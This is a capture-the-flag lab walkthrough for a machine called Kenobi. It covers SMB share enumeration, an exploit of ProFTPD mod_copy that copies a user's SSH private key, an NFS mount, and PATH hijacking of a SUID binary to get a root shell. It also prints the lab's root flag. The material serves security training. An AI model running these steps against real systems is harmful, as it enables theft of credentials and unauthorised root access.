Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sat Nov 7 16:07:34 2020 -- 1 IP address (1 host up) scanned in 33.97 seconds
$ nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.73.22 Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-07 16:13 CET Nmap scan report for 10.10.73.22 Host is up (0.030s latency).
PORT STATE SERVICE 445/tcp open microsoft-ds
Host script results: | smb-enum-shares: | account_used: guest | \\10.10.73.22\IPC$: | Type: STYPE_IPC_HIDDEN | Comment: IPC Service (kenobi server (Samba, Ubuntu)) | Users: 1 | Max Users: <unlimited> | Path: C:\tmp | Anonymous access: READ/WRITE | Current user access: READ/WRITE | \\10.10.73.22\anonymous: | Type: STYPE_DISKTREE | Comment: | Users: 0 | Max Users: <unlimited> | Path: C:\home\kenobi\share | Anonymous access: READ/WRITE | Current user access: READ/WRITE | \\10.10.73.22\print$: | Type: STYPE_DISKTREE | Comment: Printer Drivers | Users: 0 | Max Users: <unlimited> | Path: C:\var\lib\samba\printers | Anonymous access: <none> |_ Current user access: <none> |_smb-enum-users: ERROR: Script execution failed (use -d to debug)
Nmap done: 1 IP address (1 host up) scanned in 5.29 seconds
On most distributions of Linux smbclient is already installed. Lets inspect one of the shares.
Using your machine, connect to the machines network share.
Once you're connected, list the files on the share. What is the file can you see?
1 2 3 4 5 6 7 8 9 10
$ smbclient //10.10.73.22/anonymous Enter WORKGROUP\noraj's password: Try "help" to get a list of possible commands. smb: \> ls . D 0 Wed Sep 4 12:49:09 2019 .. D 0 Wed Sep 4 12:56:07 2019 log.txt N 12237 Wed Sep 4 12:49:09 2019
9204224 blocks of size 1024. 6877104 blocks available smb: \>
You can recursively download the SMB share too. Submit the username and password as nothing.
smbget -R smb:///anonymous
Open the file on the share. There is a few interesting things found.
Information generated for Kenobi when generating an SSH key for the user
Information about the ProFTPD server.
What port is FTP running on?
$ smbget -R smb://10.10.73.22/anonymous $ cat log.txt| grep -i port
Your earlier nmap port scan will have shown port 111 running the service rpcbind. This is just an server that converts remote procedure call (RPC) program number > into universal addresses. When an RPC service is started, it tells rpcbind the address at which it is listening and the RPC program number its prepared to serve.
In our case, port 111 is access to a network file system. Lets use nmap to enumerate this.
You should have found an exploit from ProFtpd's mod_copy module.
The mod_copy module implements SITE CPFR and SITE CPTO commands, which can be used to copy files/directories from one place to another on the server. Any > unauthenticated client can leverage these commands to copy files from any part of the filesystem to a chosen destination.
We know that the FTP service is running as the Kenobi user (from the file on the share) and an ssh key is generated for that user.
We're now going to copy Kenobi's private key using SITE CPFR and SITE CPTO commands.
We knew that the /var directory was a mount we could see (task 2, question 4). So we've now moved Kenobi's private key to the /var/tmp directory.
1 2 3 4 5 6
$ ncat 10.10.73.22 21 220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.73.22] SITE CPFR /home/kenobi/.ssh/id_rsa 350 File or directory exists, ready for destination name SITE CPTO /var/tmp/id_rsa 250 Copy successful
Lets mount the /var/tmp directory to our machine
mount machine_ip:/var /mnt/kenobiNFS
ls -la /mnt/kenobiNFS
We now have a network mount on our deployed machine! We can go to /var/tmp and get the private key then login to Kenobi's account.
What is Kenobi's user flag (/home/kenobi/user.txt)?
[Task 4] Privilege Escalation with Path Variable Manipulation#
SUID bits can be dangerous, some binaries such as passwd need to be run with elevated privileges (as its resetting your password on the system), however other > custom files could that have the SUID bit can lead to all sorts of issues.
To search the a system for these type of files run the following: find / -perm -u=s -type f 2>/dev/null
*************************************** 1. status check 2. kernel version 3. ifconfig ** Enter your choice :
Strings is a command on Linux that looks for human readable strings on a binary.
This shows us the binary is running without a full path (e.g. not using /usr/bin/curl or /usr/bin/uname).
As this file runs as the root users privileges, we can manipulate our path gain a root shell.
We copied the /bin/sh shell, called it curl, gave it the correct permissions and then put its location in our path. This meant that when the /usr/bin/menu binary > was run, its using our path variable to find the "curl" binary.. Which is actually a version of /usr/sh, as well as this file being run as root it runs our shell > as root!
*************************************** 1. status check 2. kernel version 3. ifconfig ** Enter your choice :1 To run a command as administrator (user "root"), use "sudo <command>". See "man sudo_root" for details.
root@kenobi:/tmp# id uid=0(root) gid=1000(kenobi) groups=1000(kenobi),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),113(lpadmin),114(sambashare) root@kenobi:/tmp# cat /root/root.txt 177b3cd8562289f37382721c28381f02